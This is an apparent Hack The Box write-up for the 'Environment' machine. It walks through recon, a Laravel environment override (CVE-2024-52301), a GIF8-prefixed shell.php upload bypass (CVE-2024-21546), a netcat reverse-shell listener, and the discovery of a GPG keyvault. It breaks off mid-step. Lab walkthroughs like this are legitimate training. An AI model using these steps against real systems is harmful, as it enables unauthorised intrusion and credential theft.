Environment is a medium-difficulty machine from Hack The Box dealing initially with a broken Laravel PHP application that mishandles errors allowing us to uncover a hidden endpoint vulnerable to CVE-2024-52301 to then exploit a file upload vulnerability + CVE-2024-21546 to get a shell on system. Then sone gnupg keyvault abuse to exfiltrate credentials and eventually abuse systeminfo binary to get root access.
Environment-info-card
Reconnaissance
1 2 3 4 5 6 7 8 9
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0) | ssh-hostkey: | 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA) |_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519) 80/tcp open http nginx 1.22.1 |_http-server-header: nginx/1.22.1 |_http-title: Did not follow redirect to http://environment.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nothing too interesting here, ssh is exposed through port 22 and we have a web application deployed on port 80 thatβs redirecting us to environment.htb so weβll add that entry to our /etc/hosts file.
We can see from the wappalyzer tab that the web app is using laravel. Making a simple authentication request and messing with the parameter to see if we can trigger some sort of error:
Authentication
We can actually see some triggered error. Specifically that $keep_loggedin !== False doesnt have any logic. so letβs supply a randon value to the rememberme field and see what new error weβll get: Authentication
Here we can see that We can access management through preprod. Checking for related security vulnerabilities, we find CVE-2024-52301 which allows us to directly submit a preprod environment variable to directly access preprod environment: Preprod
And we can indeed:
Preprod
Preprod
Now doing some enumeration on it we find a info endpoint:
This will leak us the php info page, but not so useful now.
Checking other features, we find that we can upload an avatar picture. That leverages the unisharp/laravel-filemanager package which in this case is vulnerable to CVE-2024-21546 where we can: 1- upload shell.php 2- (now on the request): 2.1 change its name to shell.php. 2.2 add GIF8 at the beginning 2.3 and boom we will get our shell back.
1 2 3 4 5 6 7 8 9 10 11
PS C:\Users\0xkujen> nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.31] from (UNKNOWN) [10.10.11.67] 48460 Linux environment 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64 GNU/Linux 03:51:28 up 23:50, 1 user, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $
Looking at the userβs home folder, we find some interesting keyvault file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$ ls -al total 12 drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 . drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 .. -rw-r--r-- 1 hish hish 430 May 15 03:54 keyvault.gpg $ ls -al .. total 36 drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 . drwxr-xr-x 3 root root 4096 Jan 12 11:51 .. lrwxrwxrwx 1 root root 9 Apr 7 19:29 .bash_history -> /dev/null -rw-r--r-- 1 hish hish 220 Jan 6 21:28 .bash_logout -rw-r--r-- 1 hish hish 3526 Jan 12 14:42 .bashrc drwxr-xr-x 4 hish hish 4096 May 15 03:54 .gnupg drwxr-xr-x 3 hish hish 4096 Jan 6 21:43 .local -rw-r--r-- 1 hish hish 807 Jan 6 21:28 .profile drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 backup -rw-r--r-- 1 root hish 33 May 14 04:03 user.txt $
That we can decrypt using the contents of the .gnupg folder: